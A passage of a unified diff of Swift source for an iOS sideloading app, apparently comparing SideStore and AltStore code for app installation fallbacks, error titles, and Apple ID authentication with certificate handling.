||||||
completionHandler(.success(installedApp))
|
completionHandler(.success(installedApp))
|
||||||
|
|
||||||
case .failure(MinimuxerError.ProfileInstall):
|
case .failure(ALTServerError.unknownRequest), .failure(OperationError.appNotFound):
|
||||||
completionHandler(.failure(OperationError.noWiFi))
|
|
||||||
|
|
||||||
case .failure(ALTServerError.unknownRequest), .failure(OperationError.appNotFound(name: app.name)):
|
|
||||||
// Fall back to installation if AltServer doesn't support newer provisioning profile requests,
|
// Fall back to installation if AltServer doesn't support newer provisioning profile requests,
|
||||||
// OR if the cached app could not be found and we may need to redownload it.
|
// OR if the cached app could not be found and we may need to redownload it.
|
||||||
app.managedObjectContext?.performAndWait { // Must performAndWait to ensure we add operations before we return.
|
app.managedObjectContext?.performAndWait { // Must performAndWait to ensure we add operations before we return.
|
||||||
if minimuxer.ready() {
|
let installProgress = self._install(app, operation: operation, group: group) { (result) in
|
||||||
let installProgress = self._install(app, operation: operation, group: group) { (result) in
|
completionHandler(result)
|
||||||
completionHandler(result)
|
|
||||||
}
|
|
||||||
progress.addChild(installProgress, withPendingUnitCount: 40)
|
|
||||||
} else {
|
|
||||||
completionHandler(.failure(OperationError.noWiFi))
|
|
||||||
}
|
}
|
||||||
|
progress.addChild(installProgress, withPendingUnitCount: 40)
|
||||||
}
|
}
|
||||||
|
|
||||||
case .failure(let error):
|
case .failure(let error):
|
||||||
@@ -1540,7 +1264,7 @@ private extension AppManager
|
|||||||
progress.addChild(refreshAppOperation.progress, withPendingUnitCount: 40)
|
progress.addChild(refreshAppOperation.progress, withPendingUnitCount: 40)
|
||||||
refreshAppOperation.addDependency(fetchProvisioningProfilesOperation)
|
refreshAppOperation.addDependency(fetchProvisioningProfilesOperation)
|
||||||
|
|
||||||
let operations = [validateAppExtensionsOperation, fetchProvisioningProfilesOperation, refreshAppOperation]
|
let operations = [fetchProvisioningProfilesOperation, refreshAppOperation]
|
||||||
group.add(operations)
|
group.add(operations)
|
||||||
self.run(operations, context: group.context)
|
self.run(operations, context: group.context)
|
||||||
|
|
||||||
@@ -1797,7 +1521,7 @@ private extension AppManager
|
|||||||
}
|
}
|
||||||
|
|
||||||
guard let application = ALTApplication(fileURL: app.fileURL) else {
|
guard let application = ALTApplication(fileURL: app.fileURL) else {
|
||||||
completionHandler(.failure(OperationError.appNotFound(name: app.name)))
|
completionHandler(.failure(OperationError.appNotFound))
|
||||||
return progress
|
return progress
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1809,7 +1533,7 @@ private extension AppManager
|
|||||||
let temporaryDirectoryURL = context.temporaryDirectory.appendingPathComponent("AltBackup-" + UUID().uuidString)
|
let temporaryDirectoryURL = context.temporaryDirectory.appendingPathComponent("AltBackup-" + UUID().uuidString)
|
||||||
try FileManager.default.createDirectory(at: temporaryDirectoryURL, withIntermediateDirectories: true, attributes: nil)
|
try FileManager.default.createDirectory(at: temporaryDirectoryURL, withIntermediateDirectories: true, attributes: nil)
|
||||||
|
|
||||||
guard let altbackupFileURL = Bundle.main.url(forResource: "AltBackup", withExtension: "ipa") else { throw OperationError.appNotFound(name: app.name) }
|
guard let altbackupFileURL = Bundle.main.url(forResource: "AltBackup", withExtension: "ipa") else { throw OperationError.appNotFound }
|
||||||
|
|
||||||
let unzippedAppBundleURL = try FileManager.default.unzipAppBundle(at: altbackupFileURL, toDirectory: temporaryDirectoryURL)
|
let unzippedAppBundleURL = try FileManager.default.unzipAppBundle(at: altbackupFileURL, toDirectory: temporaryDirectoryURL)
|
||||||
guard let unzippedAppBundle = Bundle(url: unzippedAppBundleURL) else { throw OperationError.invalidApp }
|
guard let unzippedAppBundle = Bundle(url: unzippedAppBundleURL) else { throw OperationError.invalidApp }
|
||||||
@@ -1948,35 +1672,11 @@ private extension AppManager
|
|||||||
do { try installedApp.managedObjectContext?.save() }
|
do { try installedApp.managedObjectContext?.save() }
|
||||||
catch { print("Error saving installed app.", error) }
|
catch { print("Error saving installed app.", error) }
|
||||||
}
|
}
|
||||||
catch let nsError as NSError
|
catch
|
||||||
{
|
{
|
||||||
var appName: String!
|
|
||||||
if let app = operation.app as? (NSManagedObject & AppProtocol) {
|
|
||||||
if let context = app.managedObjectContext {
|
|
||||||
context.performAndWait {
|
|
||||||
appName = app.name
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
appName = NSLocalizedString("Unknown App", comment: "")
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
appName = operation.app.name
|
|
||||||
}
|
|
||||||
|
|
||||||
let localizedTitle: String
|
|
||||||
switch operation {
|
|
||||||
case .install: localizedTitle = String(format: NSLocalizedString("Failed to Install %@", comment: ""), appName)
|
|
||||||
case .refresh: localizedTitle = String(format: NSLocalizedString("Failed to Refresh %@", comment: ""), appName)
|
|
||||||
case .update: localizedTitle = String(format: NSLocalizedString("Failed to Update %@", comment: ""), appName)
|
|
||||||
case .activate: localizedTitle = String(format: NSLocalizedString("Failed to Activate %@", comment: ""), appName)
|
|
||||||
case .deactivate: localizedTitle = String(format: NSLocalizedString("Failed to Deactivate %@", comment: ""), appName)
|
|
||||||
case .backup: localizedTitle = String(format: NSLocalizedString("Failed to Backup %@", comment: ""), appName)
|
|
||||||
case .restore: localizedTitle = String(format: NSLocalizedString("Failed to Restore %@ Backup", comment: ""), appName)
|
|
||||||
}
|
|
||||||
let error = nsError.withLocalizedTitle(localizedTitle)
|
|
||||||
group.set(.failure(error), forAppWithBundleIdentifier: operation.bundleIdentifier)
|
group.set(.failure(error), forAppWithBundleIdentifier: operation.bundleIdentifier)
|
||||||
|
|
||||||
self.log(error, operation: operation.loggedErrorOperation, app: operation.app)
|
self.log(error, for: operation)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1993,8 +1693,8 @@ private extension AppManager
|
|||||||
let trigger = UNTimeIntervalNotificationTrigger(timeInterval: timeIntervalUntilNotification, repeats: false)
|
let trigger = UNTimeIntervalNotificationTrigger(timeInterval: timeIntervalUntilNotification, repeats: false)
|
||||||
|
|
||||||
let content = UNMutableNotificationContent()
|
let content = UNMutableNotificationContent()
|
||||||
content.title = NSLocalizedString("SideStore Expiring Soon", comment: "")
|
content.title = NSLocalizedString("AltStore Expiring Soon", comment: "")
|
||||||
content.body = NSLocalizedString("SideStore will expire in 24 hours. Open the app and refresh it to prevent it from expiring.", comment: "")
|
content.body = NSLocalizedString("AltStore will expire in 24 hours. Open the app and refresh it to prevent it from expiring.", comment: "")
|
||||||
content.sound = .default
|
content.sound = .default
|
||||||
|
|
||||||
let request = UNNotificationRequest(identifier: AppManager.expirationWarningNotificationID, content: content, trigger: trigger)
|
let request = UNNotificationRequest(identifier: AppManager.expirationWarningNotificationID, content: content, trigger: trigger)
|
||||||
@@ -2004,7 +1704,7 @@ private extension AppManager
|
|||||||
func log(_ error: Error, for operation: AppOperation)
|
func log(_ error: Error, for operation: AppOperation)
|
||||||
{
|
{
|
||||||
// Sanitize NSError on same thread before performing background task.
|
// Sanitize NSError on same thread before performing background task.
|
||||||
let sanitizedError = (error as NSError).sanitizedForSerialization()
|
let sanitizedError = (error as NSError).sanitizedForCoreData()
|
||||||
|
|
||||||
let loggedErrorOperation: LoggedError.Operation = {
|
let loggedErrorOperation: LoggedError.Operation = {
|
||||||
switch operation
|
switch operation
|
||||||
|
|||||||
@@ -22,27 +22,13 @@ extension AppManager
|
|||||||
|
|
||||||
var managedObjectContext: NSManagedObjectContext?
|
var managedObjectContext: NSManagedObjectContext?
|
||||||
|
|
||||||
var localizedTitle: String? {
|
|
||||||
var localizedTitle: String?
|
|
||||||
self.managedObjectContext?.performAndWait {
|
|
||||||
if self.sources?.count == 1 {
|
|
||||||
localizedTitle = NSLocalizedString("Failed to refresh Store", comment: "")
|
|
||||||
} else if self.errors.count == 1 {
|
|
||||||
guard let source = self.errors.keys.first else { return }
|
|
||||||
localizedTitle = String(format: NSLocalizedString("Failed to refresh Source '%@'", comment: ""), source.name)
|
|
||||||
} else {
|
|
||||||
localizedTitle = String(format: NSLocalizedString("Failed to refresh %@ Sources", comment: ""), NSNumber(value: self.errors.count))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return localizedTitle
|
|
||||||
}
|
|
||||||
|
|
||||||
var errorDescription: String? {
|
var errorDescription: String? {
|
||||||
if let error = self.primaryError {
|
if let error = self.primaryError
|
||||||
|
{
|
||||||
return error.localizedDescription
|
return error.localizedDescription
|
||||||
} else if let error = self.errors.values.first, self.errors.count == 1 {
|
}
|
||||||
return error.localizedDescription
|
else
|
||||||
} else {
|
{
|
||||||
var localizedDescription: String?
|
var localizedDescription: String?
|
||||||
|
|
||||||
self.managedObjectContext?.performAndWait {
|
self.managedObjectContext?.performAndWait {
|
||||||
@@ -81,14 +67,8 @@ extension AppManager
|
|||||||
}
|
}
|
||||||
|
|
||||||
var errorUserInfo: [String : Any] {
|
var errorUserInfo: [String : Any] {
|
||||||
let errors = Array(self.errors.values)
|
guard let error = self.errors.values.first, self.errors.count == 1 else { return [:] }
|
||||||
var userInfo = [String: Any]()
|
return [NSUnderlyingErrorKey: error]
|
||||||
userInfo[ALTLocalizedTitleErrorKey] = self.localizedTitle
|
|
||||||
userInfo[NSUnderlyingErrorKey] = self.primaryError
|
|
||||||
if #available(iOS 14.5, *), !errors.isEmpty {
|
|
||||||
userInfo[NSMultipleUnderlyingErrorsKey] = errors
|
|
||||||
}
|
|
||||||
return userInfo
|
|
||||||
}
|
}
|
||||||
|
|
||||||
init(_ error: Error)
|
init(_ error: Error)
|
||||||
|
|||||||
@@ -7,15 +7,14 @@
|
|||||||
//
|
//
|
||||||
|
|
||||||
import Foundation
|
import Foundation
|
||||||
|
import SwiftUI
|
||||||
import Roxas
|
import Roxas
|
||||||
import Network
|
import Network
|
||||||
|
|
||||||
import AltStoreCore
|
import AltStoreCore
|
||||||
import AltSign
|
import AltSign
|
||||||
import minimuxer
|
|
||||||
|
|
||||||
typealias AuthenticationError = AuthenticationErrorCode.Error
|
enum AuthenticationError: LocalizedError
|
||||||
enum AuthenticationErrorCode: Int, ALTErrorEnum, CaseIterable
|
|
||||||
{
|
{
|
||||||
case noTeam
|
case noTeam
|
||||||
case noCertificate
|
case noCertificate
|
||||||
@@ -24,11 +23,11 @@ enum AuthenticationErrorCode: Int, ALTErrorEnum, CaseIterable
|
|||||||
case missingPrivateKey
|
case missingPrivateKey
|
||||||
case missingCertificate
|
case missingCertificate
|
||||||
|
|
||||||
var errorFailureReason: String {
|
var errorDescription: String? {
|
||||||
switch self {
|
switch self {
|
||||||
case .noTeam: return NSLocalizedString("Your Apple ID has no developer teams?", comment: "")
|
case .noTeam: return NSLocalizedString("Developer team could not be found.", comment: "")
|
||||||
case .noCertificate: return NSLocalizedString("The developer certificate could not be found.", comment: "")
|
|
||||||
case .teamSelectorError: return NSLocalizedString("Error presenting team selector view.", comment: "")
|
case .teamSelectorError: return NSLocalizedString("Error presenting team selector view.", comment: "")
|
||||||
|
case .noCertificate: return NSLocalizedString("Developer certificate could not be found.", comment: "")
|
||||||
case .missingPrivateKey: return NSLocalizedString("The certificate's private key could not be found.", comment: "")
|
case .missingPrivateKey: return NSLocalizedString("The certificate's private key could not be found.", comment: "")
|
||||||
case .missingCertificate: return NSLocalizedString("The certificate could not be found.", comment: "")
|
case .missingCertificate: return NSLocalizedString("The certificate could not be found.", comment: "")
|
||||||
}
|
}
|
||||||
@@ -214,7 +213,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
|||||||
guard
|
guard
|
||||||
let account = Account.first(satisfying: NSPredicate(format: "%K == %@", #keyPath(Account.identifier), altTeam.account.identifier), in: context),
|
let account = Account.first(satisfying: NSPredicate(format: "%K == %@", #keyPath(Account.identifier), altTeam.account.identifier), in: context),
|
||||||
let team = Team.first(satisfying: NSPredicate(format: "%K == %@", #keyPath(Team.identifier), altTeam.identifier), in: context)
|
let team = Team.first(satisfying: NSPredicate(format: "%K == %@", #keyPath(Team.identifier), altTeam.identifier), in: context)
|
||||||
else { throw AuthenticationError(.noTeam) }
|
else { throw AuthenticationError.noTeam }
|
||||||
|
|
||||||
// Account
|
// Account
|
||||||
account.isActiveAccount = true
|
account.isActiveAccount = true
|
||||||
@@ -241,11 +240,12 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
|||||||
}
|
}
|
||||||
|
|
||||||
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
|
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
|
||||||
if team.type == .free, !UserDefaults.standard.isAppLimitDisabled, ProcessInfo().sparseRestorePatched {
|
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
|
||||||
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit
|
{
|
||||||
} else if UserDefaults.standard.isAppLimitDisabled, !ProcessInfo().sparseRestorePatched {
|
UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit
|
||||||
UserDefaults.standard.activeAppsLimit = 10
|
}
|
||||||
} else {
|
else
|
||||||
|
{
|
||||||
UserDefaults.standard.activeAppsLimit = nil
|
UserDefaults.standard.activeAppsLimit = nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -267,7 +267,11 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
|||||||
super.finish(result)
|
super.finish(result)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async {
|
||||||
self.navigationController.dismiss(animated: true, completion: nil)
|
if UnstableFeatures.enabled(.swiftUI) {
|
||||||
|
self.dismiss()
|
||||||
|
} else {
|
||||||
|
self.navigationController.dismiss(animated: true, completion: nil)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -277,7 +281,11 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
|||||||
super.finish(result)
|
super.finish(result)
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async {
|
||||||
self.navigationController.dismiss(animated: true, completion: nil)
|
if UnstableFeatures.enabled(.swiftUI) {
|
||||||
|
self.dismiss()
|
||||||
|
} else {
|
||||||
|
self.navigationController.dismiss(animated: true, completion: nil)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -288,25 +296,36 @@ private extension AuthenticationOperation
|
|||||||
{
|
{
|
||||||
func present(_ viewController: UIViewController) -> Bool
|
func present(_ viewController: UIViewController) -> Bool
|
||||||
{
|
{
|
||||||
guard let presentingViewController = self.presentingViewController else { return false }
|
if UnstableFeatures.enabled(.swiftUI) {
|
||||||
|
UIApplication.topController?.present(viewController, animated: true)
|
||||||
|
} else {
|
||||||
|
guard let presentingViewController = self.presentingViewController else { return false }
|
||||||
|
|
||||||
self.navigationController.view.tintColor = .white
|
self.navigationController.view.tintColor = .white
|
||||||
|
|
||||||
if self.navigationController.viewControllers.isEmpty
|
if self.navigationController.viewControllers.isEmpty
|
||||||
{
|
{
|
||||||
guard presentingViewController.presentedViewController == nil else { return false }
|
guard presentingViewController.presentedViewController == nil else { return false }
|
||||||
|
|
||||||
self.navigationController.setViewControllers([viewController], animated: false)
|
self.navigationController.setViewControllers([viewController], animated: false)
|
||||||
presentingViewController.present(self.navigationController, animated: true, completion: nil)
|
presentingViewController.present(self.navigationController, animated: true, completion: nil)
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
viewController.navigationItem.leftBarButtonItem = nil
|
viewController.navigationItem.leftBarButtonItem = nil
|
||||||
self.navigationController.pushViewController(viewController, animated: true)
|
self.navigationController.pushViewController(viewController, animated: true)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func dismiss() {
|
||||||
|
if let presentingViewController {
|
||||||
|
presentingViewController.dismiss(animated: true)
|
||||||
|
}
|
||||||
|
// UIApplication.topController?.dismiss(animated: true)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private extension AuthenticationOperation
|
private extension AuthenticationOperation
|
||||||
@@ -316,29 +335,55 @@ private extension AuthenticationOperation
|
|||||||
func authenticate()
|
func authenticate()
|
||||||
{
|
{
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async {
|
||||||
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
|
let viewController: UIViewController
|
||||||
authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in
|
if UnstableFeatures.enabled(.swiftUI) {
|
||||||
self.authenticate(appleID: appleID, password: password) { (result) in
|
viewController = UIHostingController(rootView: NavigationView {
|
||||||
completionHandler(result)
|
ConnectAppleIDView { appleID, password, completionHandler in
|
||||||
}
|
self.authenticate(appleID: appleID, password: password) { (result) in
|
||||||
}
|
completionHandler(result)
|
||||||
authenticationViewController.completionHandler = { (result) in
|
}
|
||||||
if let (account, session, password) = result
|
} completionHandler: { result in
|
||||||
{
|
if let (account, session, password) = result
|
||||||
// We presented the Auth UI and the user signed in.
|
{
|
||||||
// In this case, we'll assume we should show the instructions again.
|
// We presented the Auth UI and the user signed in.
|
||||||
self.shouldShowInstructions = true
|
// In this case, we'll assume we should show the instructions again.
|
||||||
|
self.shouldShowInstructions = true
|
||||||
|
|
||||||
self.appleIDPassword = password
|
self.appleIDPassword = password
|
||||||
completionHandler(.success((account, session)))
|
completionHandler(.success((account, session)))
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
completionHandler(.failure(OperationError.cancelled))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}.navigationViewStyle(StackNavigationViewStyle()))
|
||||||
|
} else {
|
||||||
|
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
|
||||||
|
authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in
|
||||||
|
self.authenticate(appleID: appleID, password: password) { (result) in
|
||||||
|
completionHandler(result)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
else
|
authenticationViewController.completionHandler = { (result) in
|
||||||
{
|
if let (account, session, password) = result
|
||||||
completionHandler(.failure(OperationError.cancelled))
|
{
|
||||||
|
// We presented the Auth UI and the user signed in.
|
||||||
|
// In this case, we'll assume we should show the instructions again.
|
||||||
|
self.shouldShowInstructions = true
|
||||||
|
|
||||||
|
self.appleIDPassword = password
|
||||||
|
completionHandler(.success((account, session)))
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
completionHandler(.failure(OperationError.cancelled))
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
viewController = authenticationViewController
|
||||||
}
|
}
|
||||||
|
|
||||||
if !self.present(authenticationViewController)
|
if !self.present(viewController)
|
||||||
{
|
{
|
||||||
completionHandler(.failure(OperationError.notAuthenticated))
|
completionHandler(.failure(OperationError.notAuthenticated))
|
||||||
}
|
}
|
||||||
@@ -380,49 +425,34 @@ private extension AuthenticationOperation
|
|||||||
case .success(let anisetteData):
|
case .success(let anisetteData):
|
||||||
let verificationHandler: ((@escaping (String?) -> Void) -> Void)?
|
let verificationHandler: ((@escaping (String?) -> Void) -> Void)?
|
||||||
|
|
||||||
if let presentingViewController = self.presentingViewController
|
verificationHandler = { (completionHandler) in
|
||||||
{
|
DispatchQueue.main.async {
|
||||||
verificationHandler = { (completionHandler) in
|
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
|
||||||
DispatchQueue.main.async {
|
alertController.addTextField { (textField) in
|
||||||
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
|
textField.autocorrectionType = .no
|
||||||
alertController.addTextField { (textField) in
|
textField.autocapitalizationType = .none
|
||||||
textField.autocorrectionType = .no
|
textField.keyboardType = .numberPad
|
||||||
textField.autocapitalizationType = .none
|
|
||||||
textField.keyboardType = .numberPad
|
|
||||||
|
|
||||||
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
|
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
|
||||||
}
|
|
||||||
|
|
||||||
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
|
|
||||||
let textField = alertController.textFields?.first
|
|
||||||
|
|
||||||
let code = textField?.text ?? ""
|
|
||||||
completionHandler(code)
|
|
||||||
}
|
|
||||||
submitAction.isEnabled = false
|
|
||||||
alertController.addAction(submitAction)
|
|
||||||
self.submitCodeAction = submitAction
|
|
||||||
|
|
||||||
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
|
|
||||||
completionHandler(nil)
|
|
||||||
})
|
|
||||||
|
|
||||||
if self.navigationController.presentingViewController != nil
|
|
||||||
{
|
|
||||||
self.navigationController.present(alertController, animated: true, completion: nil)
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
presentingViewController.present(alertController, animated: true, completion: nil)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
|
||||||
|
let textField = alertController.textFields?.first
|
||||||
|
|
||||||
|
let code = textField?.text ?? ""
|
||||||
|
completionHandler(code)
|
||||||
|
}
|
||||||
|
submitAction.isEnabled = false
|
||||||
|
alertController.addAction(submitAction)
|
||||||
|
self.submitCodeAction = submitAction
|
||||||
|
|
||||||
|
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
|
||||||
|
completionHandler(nil)
|
||||||
|
})
|
||||||
|
|
||||||
|
UIApplication.topController?.present(alertController, animated: true, completion: nil)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else
|
|
||||||
{
|
|
||||||
// No view controller to present security code alert, so don't provide verificationHandler.
|
|
||||||
verificationHandler = nil
|
|
||||||
}
|
|
||||||
|
|
||||||
ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData,
|
ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData,
|
||||||
verificationHandler: verificationHandler) { (account, session, error) in
|
verificationHandler: verificationHandler) { (account, session, error) in
|
||||||
@@ -432,7 +462,7 @@ private extension AuthenticationOperation
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
completionHandler(.failure(error ?? OperationError.unknown()))
|
completionHandler(.failure(error ?? OperationError.unknown))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -449,18 +479,20 @@ private extension AuthenticationOperation
|
|||||||
if let team = teams.first {
|
if let team = teams.first {
|
||||||
return completionHandler(.success(team))
|
return completionHandler(.success(team))
|
||||||
} else {
|
} else {
|
||||||
return completionHandler(.failure(AuthenticationError(.noTeam)))
|
return completionHandler(.failure(AuthenticationError.noTeam))
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
DispatchQueue.main.async {
|
DispatchQueue.main.async {
|
||||||
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
|
if !UnstableFeatures.enabled(.swiftUI) {
|
||||||
|
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
|
||||||
|
|
||||||
selectTeamViewController.teams = teams
|
selectTeamViewController.teams = teams
|
||||||
selectTeamViewController.completionHandler = completionHandler
|
selectTeamViewController.completionHandler = completionHandler
|
||||||
|
|
||||||
if !self.present(selectTeamViewController)
|
if !self.present(selectTeamViewController)
|
||||||
{
|
{
|
||||||
return completionHandler(.failure(AuthenticationError(.noTeam)))
|
return completionHandler(.failure(AuthenticationError.noTeam))
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -489,12 +521,12 @@ private extension AuthenticationOperation
|
|||||||
{
|
{
|
||||||
func requestCertificate()
|
func requestCertificate()
|
||||||
{
|
{
|
||||||
let machineName: String = "SideStore - \(team.account.firstName)'s \(UIDevice.current.name)"
|
let machineName = "AltStore - " + UIDevice.current.name
|
||||||
ALTAppleAPI.shared.addCertificate(machineName: machineName, to: team, session: session) { (certificate, error) in
|
ALTAppleAPI.shared.addCertificate(machineName: machineName, to: team, session: session) { (certificate, error) in
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
let certificate = try Result(certificate, error).get()
|
let certificate = try Result(certificate, error).get()
|
||||||
guard let privateKey = certificate.privateKey else { throw AuthenticationError(.missingPrivateKey) }
|
guard let privateKey = certificate.privateKey else { throw AuthenticationError.missingPrivateKey }
|
||||||
|
|
||||||
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in
|
ALTAppleAPI.shared.fetchCertificates(for: team, session: session) { (certificates, error) in
|
||||||
do
|
do
|
||||||
@@ -502,7 +534,7 @@ private extension AuthenticationOperation
|
|||||||
let certificates = try Result(certificates, error).get()
|
let certificates = try Result(certificates, error).get()
|
||||||
|
|
||||||
guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber }) else {
|
guard let certificate = certificates.first(where: { $0.serialNumber == certificate.serialNumber }) else {
|
||||||
throw AuthenticationError(.missingCertificate)
|
throw AuthenticationError.missingCertificate
|
||||||
}
|
}
|
||||||
|
|
||||||
certificate.privateKey = privateKey
|
certificate.privateKey = privateKey
|
||||||
@@ -523,50 +555,16 @@ private extension AuthenticationOperation
|
|||||||
|
|
||||||
func replaceCertificate(from certificates: [ALTCertificate])
|
func replaceCertificate(from certificates: [ALTCertificate])
|
||||||
{
|
{
|
||||||
let ourCertificates = certificates.filter { a in
|
guard let certificate = certificates.first(where: { $0.machineName?.starts(with: "AltStore") == true }) ?? certificates.first else { return completionHandler(.failure(AuthenticationError.noCertificate)) }
|
||||||
a.machineName?.starts(with: "SideStore") == true || a.machineName?.starts(with: "AltStore") == true
|
|
||||||
}
|
|
||||||
|
|
||||||
if ourCertificates.isEmpty {
|
ALTAppleAPI.shared.revoke(certificate, for: team, session: session) { (success, error) in
|
||||||
return requestCertificate()
|
if let error = error, !success
|
||||||
}
|
|
||||||
|
|
||||||
// We don't have private keys for any of the certificates,
|
|
||||||
// so we need to revoke one and create a new one.
|
|
||||||
var certsText = ""
|
|
||||||
for certificate in ourCertificates {
|
|
||||||
if let name = certificate.machineName {
|
|
||||||
certsText.append("\(name)\n")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
let alertController = UIAlertController(title: NSLocalizedString("Would you like to revoke your previous certificates?\n\(certsText)", comment: ""), message: nil, preferredStyle: .alert)
|
|
||||||
|
|
||||||
let noAction = UIAlertAction(title: NSLocalizedString("No", comment: ""), style: .default) { (action) in
|
|
||||||
requestCertificate()
|
|
||||||
}
|
|
||||||
let yesAction = UIAlertAction(title: NSLocalizedString("Yes", comment: ""), style: .default) { (action) in
|
|
||||||
for certificate in ourCertificates {
|
|
||||||
ALTAppleAPI.shared.revoke(certificate, for: team, session: session) { (success, error) in
|
|
||||||
if let error = error, !success
|
|
||||||
{
|
|
||||||
completionHandler(.failure(error))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
requestCertificate()
|
|
||||||
}
|
|
||||||
alertController.addAction(noAction)
|
|
||||||
alertController.addAction(yesAction)
|
|
||||||
|
|
||||||
DispatchQueue.main.async {
|
|
||||||
if self.navigationController.presentingViewController != nil
|
|
||||||
{
|
{
|
||||||
self.navigationController.present(alertController, animated: true, completion: nil)
|
completionHandler(.failure(error))
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
self.presentingViewController?.present(alertController, animated: true, completion: nil)
|
requestCertificate()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -614,6 +612,8 @@ private extension AuthenticationOperation
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
|
// We don't have private keys for any of the certificates,
|
||||||
|
// so we need to revoke one and create a new one.
|
||||||
replaceCertificate(from: certificates)
|
replaceCertificate(from: certificates)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -626,7 +626,7 @@ private extension AuthenticationOperation
|
|||||||
|
|
||||||
func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
|
func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
|
||||||
{
|
{
|
||||||
guard let udid = fetch_udid()?.toString() else {
|
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else {
|
||||||
return completionHandler(.failure(OperationError.unknownUDID))
|
return completionHandler(.failure(OperationError.unknownUDID))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -675,18 +675,22 @@ private extension AuthenticationOperation
|
|||||||
|
|
||||||
func showInstructionsIfNecessary(completionHandler: @escaping (Bool) -> Void)
|
func showInstructionsIfNecessary(completionHandler: @escaping (Bool) -> Void)
|
||||||
{
|
{
|
||||||
guard self.shouldShowInstructions else { return completionHandler(false) }
|
if UnstableFeatures.enabled(.swiftUI) {
|
||||||
|
return completionHandler(false)
|
||||||
|
} else {
|
||||||
|
